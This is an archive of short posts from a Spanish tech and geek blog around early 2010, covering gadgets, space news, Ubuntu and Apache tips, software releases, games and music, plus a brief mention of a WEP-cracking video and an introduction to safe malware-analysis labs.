PD: esta entrada la estoy escribiendo desde wordpress para Android. Mi terminal tiene teclado US, por lo tanto no dispongo de las tildes y demas y ya es un poco tarde y toca dormir. Asi que pido disculpas por el texto. Tambien decir que publicar en el blog desde el terminal es una pesadilla, pero para una cosa rapida y urgente siempre te puede venir bien. Para lo que si le veo el uso es para moderar los comentarios, que aunque no lo he dicho antes, podemos configurar la aplicacion para que compruebe si hay comentarios nuevos cada X tiempo y notificarnoslo.
Y por ultimo decir que para instalar Wordpress en tu terminal lo puedes hacer comodamente desde el Android market.

¿A qué no sabías que el café...?

- Fue descubierto en Etiopía, cuando los pastores veían a sus cabras como subidas de tono o haciendo "el baile de la cabra", después de comer bayas de café.

• Originalmente era comido por las tribu africanas, mezclando las bayas con grasa creando así “bolas energéticas”.

• Se hizo muy popular con el crecimiento del islam, ya que esta religión prohibía algunas bebidas, pero aceptaba el café.

• Es cultivado en lo que se llama “El cinturón del grano”, este está comprendido entre los trópicos de Cáncer y Capricornio.

• En 1.675, el rey de Inglaterra prohibió las casas de café (cafeterías), con la excusa que de la gente se reunían en esos lugares para conspirar contra el rey.

• Nace de un árbol que puede llegar a alcanzar unos 9 metros de altura (30 pies), pero se suelen cultivar en árboles de unos 3 metros (10 pies) para poder recolectarlo más fácilmente.

• George Washington inventó el café instantáneo, pero no el George Washington que estás pensando. Éste era Belga y vivía en Guatemala.

Convertir de PDF a ePub

Estamos en pleno apogeo del "boom" de los lectores de libros electrónicos (y mas ahora con la más que reciente salida del prometedor iPad de Apple). Yo de momento mas feliz que unas castañuelas con mi Android y sus geniales aplicaciones como el Aldiko (que me aconsejó hace un tiempo Cybercaronte). Bueno, pues para los que no lo sepáis, existe un forma de convertir todos esos PDFs que  tanto tiempo llevas almacenando como un hamster, de manuales, guias, libros, etc. al formato ePub que es el que maneja este programa. Dicha aplicación se llama Calibre, esta para Windows (va de perlas con el señor 7), Mac y Linux y el funcionamiento es muy sencillo.

Truco: cómo desatornillar un tornillo problemático …

Cuando tengas un tornillo con la cabeza gastada o casi sin forma, puedes usar una goma elástica plana entre el tornillo y el destornillador para intentar sacarlo (como muestra la imágen). Si esto falla siempre puedes usar un martillo para marcar la forma, pero antes prueba lo de la goma ;) ...

Visto en LifeHacker.

Navegar por internet usando señales cerebrales

El grupo de Neuroingeniería Biomédica de la Universidad Miguel de Unamuno de Elche, junto con el Centro de Investigación Biomédica en Red en Bioingeniería, Biomateriales y Nanomedicina han desarrollado una interfaz cerebro-computador que permite navegar por internet utilizando señales encefalográficas (EEG) . La interfaz permite el control completo del computador y todas sus aplicaciones con la actividad cerebral.

El sistema permite detectar cuál es la intención de la persona mediante potenciales evocados, que corresponden a señales EEG que reflejan una respuesta automática del cerebro a un estímulo visual externo.

Figuritas Android

El artista Andrew Bell  ha creado una serie de figuras autorizadas de robots Android, con una tirada inicial de 12 modelos diferentes. Tienen los brazos y la cabeza articulados, estarán disponibles a finales de esta semana, en la web oficial aquí.

El Hubble fotografía una posible colisión de …

Foto: NASA, ESA y D.Jweitt (UCLA)

Parece que el 6 de Enero de 2010, dos asteroides han colisionado en el Cinturon de Asteroides. Ahora el Hubble ha echado un vistazo a la extraña forma de "x" que se ha formado después de la colisión (yo creo que es un Tie--Fighter). Los astrónomos dicen que las colisiones son frecuentes en el Cinturon de Asteroides, pero hasta ahora no se había fotografiado ninguno de estos impactos. La colisión se podría haber producido a una velocidad media de 18.000 Km/h, o cinco veces más rápido que una bala de un rifle. Después de la colisión, se ha formado una especie de cometa que han bautizado con el nombre de P/2010 A2. Lo curioso también es que el núcleo del cometa está justo fuera del halo de polvo (o la cola del cometa, fíjate en la foto, parte inferior derecha, el punto más blanco).

La batalla de internet - El vídeo

Para los que como yo, no pudimos ver el documental de la batalla de internet, aquí os dejo el vídeo.

Informe Semanal: La batalla de Internet

Trailer: Aliens vs. Predator Survivor Mode

Lo que siempre me ha gustado de la temática de esta saga, como videojuego, es la gran tensión a la que es sometido el jugador: mirar hacia otro lado en el segundo equivocado te convertía en hombre muerto. Tensión y asfixia eran las notas predominantes… y se ve que no ha variado ni un ápice. Entre el 16 y el 19 de febrero, los dos extraterrestres más temidos harán acto de presencia en Estados Unidos y Europa, bajo plataformas Windows, Xbox 360, y PlayStation 3.

Guantes para adictos a los mensajes desde el móvil

Con el frío que hace últimamente nada como tener bien abrigadas las manos, pero ¿Y si tenemos que mandar un SMS o un correo electrónico desde el móvil? Pues nada como unos guantes que nos permita sacar los pulgares e índices :-)

Freehands.com

Descubierta la fuente del acueducto que alimentaba …

Un misterio no desvelado en 2000 años. Las excavaciones se iniciaron hace tres años en las orillas del lago Bracciano, unos 35 kilómetros al norte de Roma.

Visto en BBC

Nuevo vídeo casero de la explosión del Challenger

“No lo recuerdo tan brillante y grande”. Palabras del cámara que no se entera de que la nave había explotado hasta que el vecino se lo confirma.

Navegador web con tres motores

Sólo para Windows.

Lunascape presume de ser actualmente el único navegador web con tres motores de renderizado.

Integra los motores más conocidos y usados en la actualidad: Gecko (usado por Firefox), WebKit (usado por Google Chrome y Safari) y Trident (usado por Internet Explorer).

Esto nos permite ver el contenido de una web de tres formas distintas, tal y como se verían en los navegadores arriba nombrados. No sólo esto, el navegador también nos da la posibilidad de usar pestañas y además podemos usar en cada pestaña un motor distinto. De esta forma podríamos tener abierta 3 sesiones de nuestro webmail, cada una con un motor distinto.

Cómo crackear una WiFi con seguridad WEP (Video)

Aviso: este es sólo un video instructivo, que sobre todo quiere hacer ver lo INSEGURO que es usar WEP en una red WiFi. No seas script kiddie y usa este video como algo donde aprender un poco sobre seguridad (para hacer auditorías) y Linux.

 Se utiliza el fantástico Live CD Linux llamado Back Track 4 para todo el proceso.

Visto en LifeHacker.

Otra canción para un domingo por la mañana ... The …

The High Wire y aquí en MySpace.

Extraño objeto fotografiado en el cielo de Noruega …

Según el artículo original, este objeto que parece una medusa ha sido fotografiado junto a una Aurora Boreal en los cielos Nórdicos. El autor (o autora) de la foto creía que había sido un efecto óptico de la cámara pero luego al colgarla de Internet muchos "expertos" (habría que definir expertos) se han interesado por la foto.

La más plausible, un reflejo causado por un satélite artificial, pero se admiten todo tipos de teorías. Lo más curioso es que el efecto tiene el mismo color que la Aurora, por lo tanto estaría siendo bombardeado por la misma luz...

El inventor del ratón, Douglas Engelbart, cumple …

Seguro que es el inventor menos conocido de uno de los inventos más revolucionarios dentro de la Informática, el mouse/ratón. El Dr. Engelbart nació en 1925 un día como hoy y mientras trabajaba en el Stanford Research Institute, solicitó una patente para un dispositivo "Indicador X-Y de posición para un sistema de visualización". Y lo más increible, nunca ha recibido ningún royaltie por este magnífico invento revolucionario, eso sí, ha sido reconocido mundialmente (y ha ganado varios premios) por su contribución al desarrollo de los interfaces para la comunicación entre humanos y ordenadores.

Preguntas sin respuestas de la Quinta Temporada de …

 

Ya que estamos con LOST (el día 2 de Febrero empieza la sexta y última temporada), no os perdáis esta estupenda lista de preguntas sin respuestas de la quinta temporada que aún quedan en el aire:

OJO otra vez CON LOS SPOILERS, si no has visto la temporada quinta ni se te ocurra pulsar en el enlace:

Lost: Preguntas Sin Respuesta de la Quinta Temporada

Queda mucho por definir aún ¿serán capaces de hacerlo antes del final de esta temporada? … ya veremos.

Los primeros 4 minutos de la nueva temporada de …

 AVISO: pedazo de SPOILER de los más grandes de la Historia si pulsas y no has visto las otras temporadas, estas avisado … ;)

No durará mucho en Youtube  pero mientras disfrútalo:

Visto en Microsiervos.

Webcomic de la Spirit, por xkcd

Visto en BoingBoing, enlace original xkcd.

LA BATALLA DE INTERNET

sábado, 30 ENE 2010 • TVE La 1. 20h30

Internet se ha convertido en un campo de batalla a causa de la controvertida regulación de las descargas ilegales anunciada por el Gobierno. De un lado, la industria cultural y del entretenimiento estima que la piratería en Internet les supone unas pérdidas de cinco mil millones de euros anuales. De otro lado un amplio sector de usuarios, profesionales artistas y otros empresarios aseguran que la industria creativa nunca ha estado tan viva gracias a Internet y ponen como ejemplo el incremento de recaudación del cine español. Los defensores de esta ley opinan que es una regulación inaplazable para un país que encabeza todos los rankings de piratería informática. Sus detractores creen que la propuesta, tal como está redactada, atenta contra los derechos fundamentales y piden un debate en profundidad sobre la ley de propiedad intelectual.

Visto en Kriptópolis

Más de 150 plantillas para PowerPoint gratuitas

Microsoft nos regala de forma gratuita, ¿gratuita y Microsoft en la misma frase?, vale sigamos, como iba diciendo que desde este enlace podemos descargarnos más de 150 plantillas para PowerPoint, que le dará un aspecto muy profesional a nuestras presentaciones.

Enlace original.

Visto en lifehacker.

50 juegos para Android en un video

 

Seguro que si tienes un Android, cuando intentas buscar un juego o una aplicación, la descripción del Android Market a veces no es suficiente. Algunos no tienen versión de prueba o simplemente no quieres perder el tiempo en instalarlos sin saber que aspecto tienen. Pues este video contiene 50 juegos con su correspondiente nombre para que puedas tener una idea de su apariencia y jugabilidad antes de instalarlos o comprarlos.

Los 18 túneles más extraños del mundo

Haz click en los enlaces para ver las fotos más más grande y más información sobre cada túnel.



1. Laerdal Tunnel 2. Channel Tunnel

3. Zion-Mount Carmel Tunnel 4. Smuggling Tunnel

5. Marmaray Tunnel 6. Thames Tunnel

7. Seikan Tunnel 8. Yerba Buena Island Tunnel

9. Infiltration Tunnels 10. Natural Tunnel

Más de 20 trucos que todo administrador de Apache …

El fichero de configuración de Apache .htaccess es mucho más potente de lo muchos podemos pensar. Haciendo un uso apropiado del mismo, nos podemos quitar mucho trabajo de programación intentando conseguir algo que este fichero puede hacer por nosotros. A continuación os dejo algunos de los trucos que me han parecido más interesantes que he visto en esta entrada.

Evitar el hotlinking

Options +FollowSymlinks
#Protect against hotlinking
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?domainname.com/ [nc]
RewriteRule .*.(gif|jpg|png)$ http://domainname.com/img/stop_stealin

Bloquear peticiones por Agentes de Ususario (User-agents)

La Palm Pre, los códigos de Konami y el modo …

¿Qué relación tienen los códigos (más o menos un huevo de pascua) de los años 80 de la empresa Konami con la Palm Pre?, pues que después de analizar todo el código una vez "rooteada", los desarrolladores del WebOS, el firmware de la Palm Pre, introduciendo los códigos famosos:

"UpUpDownDownLeftRightLeftRightBA",

↑ ↑ ↓ ↓ ← → ← → B A

se accede en modo administrador.

Estos código son los llamados Códigos Konami , con los cuales podías obtener vidas infinitas y otras funciones especiales (cheats o trucos) en juegos como Gradius, Castlevania y muchos más.

Spirit parece que no saldrá de su trampa ... pero …

Parece que ya no hay nada que hacer. Los científicos de la NASA prefieren darle un nuevo enfoque a la situación actual de la Spirit. De hecho, aunque no pueda andar, se ha quedado en un terreno bastante extraño y muy interesante de estudiar. Ahora mismo la prioridad es buscar la mejor posición para que los rayos del Sol lleguen a la sonda y así enfrentarse al duro invierno marciano con la máxima energía posible, para luego empezar su nueva misión de exploración.

Calentito calentito, el Apple iPad ya es oficial …

 

El angelito se llama Apple iPad y puedes ver más en el liveblog de Gizmodo aquí, pantalla de 9.7" multitáctil, 16-64GB de memoria flash, Chip Apple A4 a 1GHz, WiFi 802.11n y Bluetooth.

Atentos a la avalancha de datos de estos próximos días.

Videos de matemáticas, en www.lasmatematicas.es

 

Nuestro colega Molotok nos ha recomendado esta genial web sobre las matemáticas. Lo que la hace un poco especial es que todas explicaciones están en formato video, desde sumar fracciones a resolver ecuaciones diferenciales. El autor es Juan Medina Molina, Doctor en Ciencias Matemáticas de la Universidad de Valencia.

Los videos están preparados para reproducirlos a pantalla completa, o se verán demasiado pequeños, con su correspondiente audio en español con muy buena calidad.

Trailer de Mass Effect 2

Mass Effect 2, en AnaitGames tienes una entrada sobre el juego.

Nuevo récord mundial de overclocking

Un tal TiN ha batido el récord mundial de overclocking sobre un micro Intel Celeron D 437 a 3,06MHz, estableciendo la velocidad del mismo en 8.199,5 MHz. Superando el antiguo récord en 16,8MHz.

Fuente original.

Segmentation Fault de Firefox por culpa de YSlow

Esta mañana, cuando encendí mi portátil y abrí Firefox, me apareció la típica pantalla de que había una actualización de una de las extensiones que tengo instaladas, concretamente YSlow, y como siempre pulsé sobre el botón actualizar. Una vez se actualizó Firefox no se abrió. Hice click de nuevo sobre el icono de Firefox, pero éste aparecía, pero automáticamente se cerraba. What’s going on?

Ok, vamos a intentar abrirlo desde la línea de comandos, y boom! Un segmentation fault. Un cuelgue en todo regla. Esto tiene que ser por culpa de YSlow, así que me fui a la página de dicha extensión y efectivamente ya aparecían algunos comentarios diciendo lo mismo, que después de actualizar se colgaba Firefox.

PC integrado en un teclado

Arriesgado este diseño de una empresa china llamada "Great Wall", ya que hace todo lo contrario que la industria, mientras todos quieren eliminar el teclado y crear una pantalla grande, esta empresa integra un teclado normal con una pequeña pantalla táctil.

El modelo se llama Cross PC U510 que integra todo en un teclado, tarjeta NVIDIA Ion a 1.6GHZ, 2GB de RAM, 250GB de disco duro SATA, WiFi, reconocimiento de escritura, gráficos 3D  y una pantalla táctil de 5 pulgadas. Dos grandes desventajas, no tiene baterías, se conecta a la red eléctrica ... y además se puede conectar a una pantalla externa pero no soporta dos monitores a la vez (o sea no vez la integrada cuando conectas una externa). El precio es de aproximadamente 570$.

Documentación sobre los protocolos de Windows …

Pues eso mismo, desde este enlace, Microsoft nos brinda un archivo comprimido .zip (148 MB) con un total de 163 ficheros PDF de documentación sobre los protocolos implementados en Windows Server.

Cambiar la resolución en la pantalla de login en …

Jugueteando con dos monitores conectados a mi portátil y con los 2 tarjetas de vídeo, una Intel integrada y una ATI, la pantall de login de mi Ubuntu 9.10, Karmic Koala, perdió la configuración y adoptó una resolución de 640x480, demasiado para los tiempos que corren y acostumbrado a 1440x900.

Ingenuo de mi, pensé, bueno sólo es cuestión de cambiar la configuración de GDM. Jeje! Intentando hacer eso, me tropecé con la primera piedra. Luego me encontré con esta página en el wiki oficial de Ubuntu, perfecto pensé, tiene truco, pero está documentado. Ouch! Esa fue la segunda piedra. Sigo buscando, bueno vamos a probar con xorg.conf, what? mi xorg.conf está medio vacío, wait! Así es como debe de aparecer. Vaya por Dios!

Cuando el Hubble mira a casa ...

Estamos aconstumbrados a ver fotos de estrellas lejanas y galaxias tomadas por el telescopio Hubble, donde a veces, quizás por la costumbre o al no tener referencias espaciales a nuestra escala, no nos damos cuenta del enorme potencial tecnológico de esta magnífica máquina. Pero cuando vemos estas imágenes de los planetas y satélites de nuestro Sistema Solar, tomadas por el Hubble, ya empiezas darte cuenta un poco mejor hasta donde puede llegar ...

Desempaquetando el Nook

Pues por fin ya me llegó mi Nook! Aquí os dejo unas fotitos del mismo. Ya iré posteando algunas cositas.

Cajero trucado para robar tarjetas de crédito

Visto en twitter.

Top 40 proyectos para Arduino en la Web

Si te gusta Arduino, echa un vistazo a este enlace de Hacknmod con los 40 mejores proyectos para esta plataforma:

Top 40 Arduino Projects of the web

(sigue leyendo si quieres ver una lista con los 40) ...

Hoy vamos de caza

Me recuerda a la película de "La Masa Devoradora". Si semejante bicho estuviera persiguiendome yo también correría como alma que lleva el diablo. Es un glóbulo blanco a la caza de una bacteria. Si queréis ver algo más realista que Érase una vez... la vida y sus polis de blanco, fijaos en este video. La naturaleza en estado puro, un neutrofilo corriendo tras un estafilococo. No cuento el final.

Cómo conseguir "Half Life 2:Deathmatch", gratis

Half Life 2: Deathmatch

En la web de Steam puedes comprarlo a un precio de 3,99€ pero si tienes una tarjeta de video NVIDIA o ATI, puedes conseguirlo grátis (ojo, es por tiempo limitado)

También de regalo, una demo de "Portal: The first slice" y además "Half Life 2: The Lost Coast".

Enlace para ATI

Enlace para NVIDIA

Visto en forevergeek.

Prototipo del Apple Tablet ... de 1983

Ahora que se está hablando sobre la posible presentación de un tablet por parte de Apple, vemos este prototipo de 1983. Apple lleva desde 1983 diseñando este tipo de dispositivos, quizás demasiado avanzado para su tiempo. El nombre de este tablet es "Bashful" y se crearon algunas variaciones, como un teclado externo, una disquetera y mejoras para la portabilidad del dispositivo.

Esperaremos al evento del 27 de Enero para ver el nuevo modelo.

God is an Astronaut, más música para el domingo

Grupazo irlandés de post-rock formado por Torsten Kinsella, Niels Kinsella y LLoyd Hanney. Su nombre está inspirado por una cita en la película "Razas de noche (Nightbreed)".

De momento tienen 5 álbunes:

The End of the Beginning (2002)

All Is Violent, All Is Bright (2005)

A Moment of Stillness (EP) (2006)

Far From Refuge (2007)

God Is an Astronaut (2008)

Y varios EPs (visita el enlace en la Wikipedia para verlos)

El Generador Eólico de Campaña (portátil) Aero …

Si un cargador solar ya es potente, imagina un generador de energía eólica portátil ... Pues esto es lo que han creado estos diseñadores: Marcos Madia, Sergio Ohashi y Juan Manuel Pantano (todos argentinos). Sólo es un diseño, pero podría ser una gran solución para países en desarrollo y para dar energía en situaciones críticas de catástrofe cuando no es posible conseguir energía eléctrica.

No indican el precio pero el diseño es lo bastante interesante para hacer un prototipo  y probarlo.

IBM y FujiFilm crean una cinta de datos de 35TB

Han estado tres años trabajando para conseguir este nuevo record en grabación de datos en cintas magnéticas de datos, 35TeraBytes. Tiene además la ventaja del menor coste comparado con la fabricación de tecnologías tipo flash y  discos duros.

Aquí puedes ver un video (en inglés) de este gran logro.

Visto en GizModo.

El blog de Bill Gates

De todos es sabido que Bill Gates dejó Microsoft en Junio del 2008 para dedicarse de pleno a la Fundación Bill y Melinda Gates.

Pues ahora puedes saber un poco más de él, al que le interese claro, a través de su blog, dónde va comentando lo que va haciendo, lo que va aprendiendo o por dónde viaja entre otras cosas.

Como opinión personal y aunque sea un detractor de Microsoft, bueno más de sus productos, no puedo dejar de reconocer la brillante carrera de este individuo y todo el dinero, tiempo y esfuerzo que pone en ayudar, especialmente a aquellas personas con SIDA, que es principalmente a lo que su fundación se dedica.

La Spirit no se rinde, ahora lo intenta marcha …

Ahora intentan sacar a la Spirit de su atasco dando marcha atrás, y de momento hay esperanza. Desde Abril de 2009 la Spirit se encuentra atascada y cada intento de sacarla parece que la hunde más.

Hasta ahora.

Como he escrito antes, ahora los intentos son dando marcha atrás, pero con mucho cuidado. Antes gira las ruedas de lado a lado para luego efectuar la maniobra, de esta forma intenta quitar todo el material posible acumulado sobre ellas. En un primer intento ha consegudo avanzar 3cm y elevado sobre el terreno 1 cm, es poco pero todo un avance para lograr una salida con éxito. Otro intento el 16 de Enero de 2010 ha conseguido un poco más, 3.5 cm y elevado 0.3 cm. Parece poco pero recuerda que la rueda derecha de atrás no funciona desde hace tiempo.

Lucía, Luis y el lobo

Apaga las luces, sube el volumen y atrévete a darle al play.

Estos impresionantes cortos estan realizados foto a foto, a mano y  derrochando arte e ingenio por sus cuatro esquinas. Son de los mejores que he visto en mucho tiempo. Ojo que son de miedo. Las voces de los niños son... digamos que todo está muy conseguido. Su director es Niles Atallah y sus cortos han sido primeros premios en distintos festivales desde el 2007, el año en que se creo esta empresa colombiana llamada Diluvio. Esperaremos con ansia a que salga la tercera parte: El lobo.

Colección de iconos gratuitos (y libres)

Varias colecciones de iconos gratuitos para tus programas. He visto cada colección y creo que todos son gratuitos y libres de usar en tus programas (lo mínimo es que nombres al autor). Cada enlace tiene varias colecciones:

Minimalistas

Alta calidad

Las mejores colecciones de 2009

Vector Set

Iconos pequeños

Todos de la fantástica web:

http://webdesignledger.com/

Adiós viejo amigo

James Gosling blog.

Impresionantes temas para Ubuntu Linux

Bisigi-project nos regala 12 temas impresionantes para nuestro escritorio en Ubuntu. Aquí puedes ver los temas antes de instalarlos.

Para su instalación, sólo tienes que seguir los siguientes pasos:

1.- Añade la clave del repositorio.

gpg –keyserver hkp://keyserver.ubuntu.com:11371 –recv-key 881574DE && gpg -a –export 881574DE | sudo apt-key add -

2.- Añade el repositorio en a tu sistema.

sudo gedit /etc/apt/sources.list

Vamos al final del fichero y añadimos los repositorios. Copia y pega los que correspondan a tu versión de Ubuntu.

Enjuto Mojamuto: El WiFi

 

La temporada cuarta de Muchachada Nui arranca con nuevos personajes y también clásicos como nuestro amigo Enjuto.

Espectacular como siempre.

Muchachada Nui.

Cartas de caricaturas StarWars

Tiene un formato de caricatura (sketch) muy divertido.

Las nuevas en katie-can-draw.

Y toda su galería con más de StarWars en:

deviantart.com

Visto en Neatorama.

Evitando el hotlink

Queridos/as amigos/as, hemos tenido que tomar medidas contra el hotlink (definición del blog vermip.es), así que desde aquí os pedimos por favor que nos aviséis (en la página "Info" tienes nuestros datos de contacto) de cualquier molestia que os pueda ocasionar para intentar resolverlo lo antes posible (sobre todo si os aparece la imágen de hotlink en algún lector rss).

¡Gracias por vuestra colaboración!

Firefox 3.6

Ya está disponible la versión estable de Firefox 3.6. Si ya lo tienes instalado, puedes forzar la actualización a través del menú Ayuda (Help). Y si no lo tienes instalado o simplemente quieres descargártelo, lo puedes hacer desde aquí.

Algunas de las nuevas características de esta nueva versión son:

• Personas. Un sistema que te permite personalizar el navegador.
• La ejecución de javascript la han mejorado en un 20%.
• Nuevo sistema de detección  de disponibilidad de actualizaciones de los plugins que tienes instalados.
• Mejoras en la API de programación, que permitirá al programador desarrollar aplicaciones que se acercan a las aplicaciones de escritorio.
• Mejoras en el tratamiento de CSS.

Vídeo oficial de las novedades de esta versión.

Lo mejor de la demoscene de 2009

A continuación os dejo 10 vídeos de las 10 mejores demos de las pasado año.

1.- Frameranger by Fairlight & Orange & Carillon & Cyberiad

2.- Rupture by ASD

3.- The golden path by United Force & Digital Dynamite

4.- Chameleon by ASD

5.- Syntax Party 2009 Invite by Disaster Area

Hazte tu propio macro de 4x

Las tres B's: bueno, bonito y barato. Utilizando un mini objetivo de microscopio de 4x (también se puede de 10x) se puede fabricar un objetivo macro. Es tan simple que ni es necesaria una explicación, solo sigue las fotos, pero si no lo ves claro mejor no le metas mano a tu cámara. Hasta un anillo inversor para tu objetivo te puede salir más caro.

Materiales:

¿Buscas un antivirus gratuito? prueba el nuevo …

Windows

Ya puedes descargar la nueva versión del antivirus Avast. Es más ligero, más rápido y con más opciones incluidas en la versión gratuita. Una de estas nuevas características es el "code emulation", simula el código y si detecta que es sospechoso, lo aisla para luego analizarlo con el nuevo motor heurístico, de esta forma detecta malware que no esté incluido en su base de datos de definiciones de virus.

HiRISE presenta HiWish, decide tú mismo la zona de …

Ya comentamos en este post que habría un anuncio importante por parte del equipo de HiRISE para el 20 de Enero.

Pues aquí está, ahora puedes sugerir qué parte de Marte te gustaría que se fotografíe, a una resolución de 30cm por pixel. Si no lo tienes muy claro, puedes usar la web de HiWish para moverte por el planeta, examinar lugares, etc hasta que encuentres un lugar que te guste.

Proyecto T.i.M.E.: Poner un barco en un lago de …

Imagen captada por Cassini

La idea es flotar un barco de exploración en el lago Ligeia Mare, que posee una superficie aproximada de unos 100 mil kilómetros cuadrados y la misión llevaría el nombre TiME (Titan Mare Explorer). Con salida en 2015 ó 2016 y un amerizaje para el 2023, esta misión tiene como propósito el estudio de los líquidos que componen este lago y su ciclo evolutivo.

Cómo comer sushi (instrucciones y video)

 

Ya ví en meneame una entrada sobre "Normas para comer sushi". El cuadro resúmen encabeza este blog y me he tomado la libertad de traducirlo a español.

Pero también he encontrado (en los comentarios del mismo post de meneame) este video que te explica desde la misma puerta hasta que sales, cómo se pide y come sushi en un restaurante de Japón (explicado por japoneses).

Es igualito igualito a los bares en España XD.

Análisis de Malware en 5 pasos

Muy de vez en cuando me da por juguetear con este tipo de cosas y dice el refrán, el que juega con fuego se acaba quemando, así para no quemarnos, vamos a ver como poder analizar Malware de forma segura en 5 sencillos pasos.

Paso 1.- Prepara tu laboratorio de análisis, ya sea físico o virtual.

Hoy en con el avance en la virtualización de sistemas, prácticamente no necesitamos un laboratorio físico. Las ventajas de los sistemas virtuales son muy claras sobre la de los físicos. Menos maquinaria, menos calor en la habitación, menos broncas de mami o papi: niño este mes hemos pagado un ojo de la cara de luz, como la próxima factura sea igual o peor, te corto todos los cables…

Imágenes espectaculares de la HiRISE y la "gran …

Dunas cubiertas de hielo. NASA/JPL

Las fotos de la cámara HiRISE de la Mars Reconnissance Orbiter son realmente alucinantes. En este enlace puedes ver las últimas fotos que son especialmente espectaculares, como las dunas simétricas en un cráter en Noachis Terra. Si las quieres a máxima resolución, visita la web oficial de HiRISE.

Además en el Twitter HiRISE anuncian que el 20 de Enero habrá una "gran noticia" ... ¿Un gran descubrimento?, ¿ampliación de la misión? ¿rediseño del sitio web? ... cualquier cosa puede ocurrir.

Nueva cámara Samsung WB650 con GPS

Esta imagen es solo una representación. El software no está especificado.

PREGUNTA: Además del cepillo de dientes ¿Qué otras dos cosas se llevan a un viaje, sobre todo si es largo?

RESPUESTA: la cámara de fotos y, como eres un  geek, un GPS para no perderte.

Ahora imagina que en vez de llevar DOS dispositivos, DOS tarjetas SD, DOS cargadores, DOS fundas, DOS... de cada... solo llevaras un todo en uno. Pero no uno cualquiera: compacta avanzada con controles manuales, un zoom de 15 aumentos (24-360mm equivalentes), Pantalla AMOLED de 3 pulgadas y GPS integrado. La óptica lleva sensor de 12.2 megapixeles, conexión HDMI y grabación de vídeo en alta definición 720p a 30fps con  compresión de vídeo H.264.

Primeros videos de la Misa Digital Guitar

Según su creador, Misa, una guitarra eléctrica es limitada: “La mano izquierda controla qué notas tocar y la derecha, cuándo tocarlas y con qué intensidad. Se le pueden agregar efectos, pero generalmente se hace mediante pedales, que hacen sentir la experiencia de controlar el instrumento ajeno a lo que están haciendo las manos.”

Cuando la diseñó siempre pensó en hacerla bajo una interfaz simple, de código abierto basada en Linux, para que los programadores puedan “modificar su funcionamiento o cambiar su interfaz para que provea una funcionalidad específica.”

Diez fotos geek que hicimos en Londres

[slideshow id=8]

Hemos seleccionado diez fotos geek de nuestro viaje de a Londres de este pasado Diciembre de 2009. Verás algunas máquinas criptográficas, un cohete V2 por fuera y por dentro, un trozo de la barbilla de la Esfinge, el mítico Juego Real de UR , una de los misteriosos Cráneos de Cristal... etc.

Espero que os gusten, puedes verlas todas a mayor resolución en la galería "London Geek" que hemos puesto en la barra de la derecha del blog.

"La Perla Negra" por Fabrice Gonet

El nombre completo de esta preciosidad es HD3 Complicated Black Pearl. Sólo se han fabricado 11 a un precio de 400.000 dólares. Tiene ese nombre tan característico porque tiene una calavera y un par de huesos cruzados en la parte interior, un pequeño cañón y algunos toques náuticos. Un auténtico tesoro pirata.

Visto en gizmodo.es

El Wii balance board ayuda en la terapia para …

El Dr. Ross Clark de la Universidad de Melbourne ha encontrado una manera de aprovechar esta tecnología de videojuegos para ayudar en la terapia de recuperación a gente que ha tenido derrames cerebrales.

Una Wii balance board fué abierta y reconstruida por ellos mismos, pero estos doctores y se sorprendieron que sus acelerómetros y tensiómetros eran perfectos para dar terapia a sus pacientes.

Cuando finalizaron sus pruebas publicaron un escrito demostrando los beneficios de usar el balance board en vez de la costosa plataforma médica usada para estos fines. ¿la diferencia de precio?

FixWin, arregla problemas comunes de Windows 7 y …

Windows

¿Alguna vez has borrado la papelera de reciclaje ó de repente no puedes abrir ficheros de ayuda?, pues aquí tienes la solución, FixWin. Es una aplicación portable que permite reparar 50 errores típicos en Windows 7 y Windows Vista con un solo click.

Para descargar FixWin pulsa aquí.

Visto en 4SysOps.

Juego Productivity Killer: Cover Orange

En este juego, de los Productivity Killer, trata de proteger nuestra naranja de la tormenta, a toda costa. Después de las inundaciones que han caído este diciembre seguro que más de uno ha tenido que hacer lo mismo pero con su coche, su casa o consigo mismo.

Para los que no lo sepan los Productivity Killers son una serie de juegos pensados para... tradúcelo tu mismo. Son minijuegos online para matar el tiempo, en el trabajo, en horas libres... No son largos pero no por ello son fáciles.

Enciclopedia para la programación de juegos

Sólo para nostálgicos. PC-GPE (PC Game Programming Encyclopedia) es una web dónde tienen mucha documentación relacionada a la programación de juegos, pero como podréis ver esta información está un poco desfasada y por eso dije para nostálgicos al principio del post. Aunque seguro que encuentras mucha documentación que puedes aplicar hoy en día, como son por ejemplo la información sobre algunos de los formatos de ficheros de audio o imagen. O incluso teoría sobre la programación en 3D e incluso algunos efectos concretos, como el del fuego o el de campo de estrellas o técnicas usadas en el juego del Doom.

Vota por Dixo en los Open Talent de BBVA

Nuestro buen amigo Danny Saadia se ha presentado con un proyecto (Dixo) a los Open Talent de BBVA. Os paso la descripción del mismo:

Web del proyecto: www.dixo.com

Dixo: Un generador de contenido que tiene como representantes a comunicologos existentes y con carrera, se realizan podcast, videopodcast, y blogs con diferentes disciplinas, Tecnologia, Musica, Cine, Videojuegos, Opinion. El usuario entra para ver cada vez lo que se genera en el dia a dia, ademas de tener un departamento de promocion que constantemente alimenta al usuario con premios de lealtad. Se produce con calidad y cuidado debido a que los colaboradores y productores tienen un camino avanzado pero se ofrece el contenido de manera natural y simple.

Táctica de ataque ...

Visto en: Threadless

El video más completo sobre cómo se trabaja Google

Se llama "Trabajando para Google / Working for Google", consta de dos partes y está en el canal Youtube de FernandoAyax (el video original es de tn.com.ar).

No os los perdáis porque es el más completo que he visto en español  y el que muestra más detalles. Ojo al almacén de hardware y los carteles que tienen los cuartos de baño ...

Hay muchos más videos en Yotube sobre el trabajo en Google.

The Pains of Being Pure At Heart, más música para …

 

Grupo de Nueva York que os sonará a los 90 influenciados por los míticos My Bloody Valentine (me levanto antes de nombrar a este sagrado grupo), The Jesus and Mary Chain, Teenage Fanclub y muchos más.  Sólo tienen un álbum pero bastantes EPs y sencillos (directo desde la Wikipedia):

Álbumes

• The Pains of Being Pure at Heart (Slumberland/Fortuna Pop - 2009).

EPs

• Higher than the Stars, EP (Slumberland - Fortuna Pop - 2009).
• The Pains of Being Pure at Heart, EP (Atomic Beat - 2008).

Sencillos

• Come Saturday, 7″ (Slumberland - Fortuna Pop - 2009).
• Young Adult Friction, 7″ (Slumberland - Fortuna Pop - 2009).
• Everything With You, 7″ (Slumberland - Fortuna Pop - 2008).
• Searching for the Now Vol. 4, split 7″ (Slumberland - 2008).
